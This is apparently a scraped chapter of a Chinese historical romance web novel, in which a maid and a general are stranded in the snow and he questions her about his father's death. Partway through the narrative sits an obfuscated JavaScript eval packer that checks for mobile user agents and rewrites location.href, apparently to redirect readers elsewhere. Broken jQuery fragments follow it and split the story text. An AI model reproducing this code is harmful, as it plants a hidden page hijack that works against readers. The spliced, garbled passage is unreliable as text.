默认冷灰
24号文字
方正启体

19. 拿捏

作者:暮云熔金本书字数:K更新时间:
    穆昂入车室坐定,见她并膝端坐在对面,头埋得低低的,腮边还浮着一抹新嫁娘似的红云,脖颈登时像被什么掐住一般,荒诞得诡异。


    他呼吸一窒,再度感慨,留下她果然是个错误。


    皎皎见他欲言又止,仿佛耐心告罄,只好撕着手上的倒刺,支吾道:“您别气嚜,奴奴婢……弗是故意污您笔洗的……”


    他怒极反笑,胸前微微起伏,“是怪不到你头上,要怪只能怪我自己。”


    皎皎立马接腔道:“郎主何须自责,是您心善留下我,奴婢感恩戴德,只是没曾想连累了您,都是奴婢无能,日后奴婢定要勤勉修持自我,为您分忧才是。”


    穆昂冷嗤一声,“我心善?”


    皎皎郑重点了点头,缓声道:“是囖,郎主虽从未自伐,可却三番四次救我于水火,弗仅如此,您虽一方武将,却从勿居功自傲,深受百姓爱戴,难道弗是好人嚜?”


    穆昂几乎已经摸透她的路数,其实她与陆小娘等人并无不同,都习惯在他身上算计,只是她的手段比她们略高一点而已。


    他俯腰欺近她,晦暗的墨瞳定在她脸上,冷冽的气息将她包裹,“你不必戴高帽,我也并非良善,不过见你尚有几分乖觉,这才留你,倘若你乖觉过了头,陆小娘就是你的下场,懂吗?”


    高大的身影带来不可忽视的威慑感,眸光沉甸甸压在她身上,令她不由得呼吸凝窒。


    她暗暗攥紧双手,唇也抿成一道线。


    “回答我。”


    一字一顿的声音仿佛敲在她心口的鼓锤,她忍不住瑟缩了下,默默猫下身子道是。


    穆昂冷哼一声便又躺回矮榻,依旧支起一条胳膊挡在眼帘。


    皎皎这会也刚有了几分侍候人的自觉,不等他吩咐,便走过去熄灯,这才摸黑躺了下来。


    穆昂听到极细的抽泣声,声调依旧很冷硬,“你要是后悔随时可以回京。”


    “我勿走……”她的声音闷在大氅里,鼻音显得更重。


    穆昂不明白她怎么说哭就哭,倘若以为脆弱能换来他的同情,那就大错特错。


    可不知为何,心头也莫名凝了一层潮气,他有些烦躁地喝道:“哭什么,我又没说这会抛下你。”


    皎皎这才收起虚假的“眼泪”,却也不敢再招惹他不快。


    两人都寂静下来,可越是如此,脑中却越发清醒起来,思绪像飘荡在空中的叶,乱糟糟地翻飞着,直到后半夜脑子也转不动了,才各自悠然睡去。


    穆昂醒来时她还在睡,掀开油毡布,晨曦便如水倾泻进来,落在她恬静的睡颜上,也就在这时,皎皎察觉眼帘有光影晃动,鸦睫微颤,一睁眼,便对上一双深如寒潭的眼眸。


    穆昂穿戴整齐地站在过道上,只淡淡瞥了她一眼便收回目光,“醒了就起来做事。”


    言讫便掀帘下了车。


    皎皎也掀氅而起,抚平衣褶,又重新将凌乱的鬓发梳了一遍,只编了根麻花辫垂在脑后,又吃了几块糕点裹腹,这才下车跟着铲起雪来。


    好在今日天光放晴,气温也有所转暖,饶是如此,积雪也已没过她小腿肚,不要说铲雪了,走几步便已累得气喘吁吁。


    穆昂忙了半晌,一回头,见远处茫茫的雪地里,娇小的身影手里握着铁锹,走起路来摇摇晃晃。


    他皱起眉,“还不快点。”


    皎皎抬眸看了他一眼,咬咬牙继续铲雪。


    他定定观察半晌,眉心越是拧成死结,不得已只好走过来将临时制成的木铲递给她,“把铁锹给我。”


    接过铁锹的同时,只听她嘶的一声倒抽一口凉气。


    他垂眸一看,见她通红的手上遍布冻疮,不禁奚落,“放着大好日子不过,这回称心了?”


    皎皎也没矫情,将垂下来的辫子甩到身后便挖起雪来,“郎主弗必挖苦我,我时刻记得自己的身份,勿敢拿自己当主子嚜,侍候人的事我也弗是头回干哉!”


    “你不说,我还以为你是哪来的娇娘子,按你这么个挖法,明日也走不出去。”


    她停下来,嗔了他一眼道:“我以前也是……侍奉书墨的丫鬟,用勿着做这些粗活。”


    “哦。”


    皎皎见他并未表现出不耐,不由得趁机打探,“那奴婢到了府上,顶的是啥缺哩?”


    穆昂转眸乜着她,见她乌溜溜的眼仁里流光潋滟,仿佛不染世俗一般,即便是知道她的身份来历,也知道她向来善于诡计,可这一刹也晃了下心神,不由得随着她的思路回,“你想做什么?”


    “您是奴婢的主子,怎反过来问我哩,我端茶倒水都在行,看您安排。”


    他噎了一下,脸也瞬间拉了下来,“少说话多做事。”


    皎皎不明白他的脸色怎么说变就变,只默默翻了个白眼,便抿紧唇,将地上的雪当成他的脸,一铲子扎入雪里,再用脚尖一碾一抬,瞬间便铲下一大片雪。


    穆昂眯眼睇着,点头夸道:“不错。”


    皎皎别来一眼,又迅速垂下头去,一想到他的脸,手中的动作愈发利落了。


    穆昂总觉得她飘来的眼神意味深长,可也说不上哪里别扭,好歹她一副弱柳扶风的模样,却没拿自己当娇娘子,这一晌虽帮得不多,但也勤恳卖力,自己实在寻不出由头拿她作筏子了。


    皎皎觉察到背后的视线消失了,才停下来喘了口气,喝点水接着铲。


    然而毕竟是心有余而力不足,木制的铲子虽比铁锹轻便不少,重复抡着胳膊,双手也渐渐发沉,可一想到眼下尚未脱困,若是发生雪崩,后果不堪设想,只好加快手中动作,累得吭哧吭哧直喘气。


    穆昂见她似乎用尽浑身力气,可实际上也不过铲平了一小片,不禁沉着脸走过去,“省点力气,晕了我可不会救你。”


    皎皎刚抬起眸便觉得眼冒金星,只好闭上眼,握紧木铲勉力稳住摇摇欲倒的身子。


    他看在眼里,却没伸手扶她,只淡声叹道:“娇气,我说我不会救——”


    话音未落,只听咚的一声闷响,眼前的人影便这么直挺挺倒了下去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015899|193142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    穆昂额角青筋跳了跳,虽然他不想这么快打脸,可对于有行军经验的人来说,他太清楚冰天雪地里晕倒意味着什么,是以咬咬牙暗骂了一句,蹲下身轻拍她肩膀,“醒醒。”


    好在皎皎尚有意识,睫毛颤了颤又重新睁开眼来,这会倒不晕了,只是映入眼帘白皑皑的光令她抑制不住淌下眼泪。


    她只好伸手挡住双眼。


    穆昂咬紧后槽牙,恨恨地将她打横抱起,径自走向马车,抬手便把她塞入车室。


    皎皎来不及惊呼,在感受到握在自己身下那双遒劲有力的手时,那几乎要溢出喉咙的叫嚷硬生生吞了回去,只闭着眼轻攥住他的衣袖,乖巧得像只猫。


    她恹恹歪在车壁上,余光见旁边的身影一晃,一抬眼他也钻了进来,修长的身形甫一入内便挡住了大部分的日光,双目这才舒坦了些。


    他看了一眼,默默将门掩住,这才撩袍在对面落座。


    皎皎一壁拿帕子拭泪,一壁偷觑着他嗫嚅道:“弗好意思,又给您添麻烦了……”


    他生硬咳了一声道:“我又没说什么。”


    “今日勿走了嚜?”


    他不疾不徐地笑,“那就再将就一夜,又弗是没睡过……嚜。”


    虽然他唇角还微勾着,还怪腔怪调模仿着她的语调,可皎皎却仿佛听到他牙齿咔咔作响的声音,不由得缩紧脖子,默默将自己贴在车壁上。


    也许是这一路上实在寂寥,穆昂见她一副寒蝉噤若的模样,也不禁没话找话,“我就这么可怕,那你为何非得跟着我?我看穆程对你倒是一往情深,何不留下来算了。”


    这话一出,皎皎愈发委屈地耷拉下眉,“我也读过几本书,怎能罔顾人伦,做出这等勿知廉耻之事?”


    “你怕什么,你与我爹敦伦礼未成,穆程若有心待你,自有办法将你给摘出去,你只要安安心心做他的妾室便是了。”


    皎皎一听,更是急得眼泪都想往下掉,“我又看弗上他囖。”


    “那你就看上我爹?”


    “你……”她一听更是气结,直跺了下脚,口不择言道,“要有得选,谁愿进那种地方,谁愿跟着比我爹还大的男人?”


    话说完才意识到自己竟当着他的面骂他爹,不禁咬住了下唇,心虚的眼神在他脸上转了转。


    穆昂垂着浓密的睫毛不知在想些什么,过了半晌才抬起眸来,定定地看着她的眼道:“所以你就把他杀了?”


    皎皎脸色一白,瞳仁震颤道:“您、您说啥?”


    “不是你杀的吗?”


    他语气淡淡的,仿佛在说一件与他毫无干系的小事。


    皎皎不愿细想那夜的事,每回闭上眼,便能想起那双瞪得圆鼓鼓的眼,和那泉涌一般喷溅出来的血,光是这么一想,她的双腿便不由得发了软。


    对鲜血本能的恐惧让她脸上血色褪尽,“郎主几时怀疑奴婢的?”


    他低头摩挲着自己的虎口,缓声道:“他虎口处有你留下的指甲印,当晚,究竟发生了什么?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)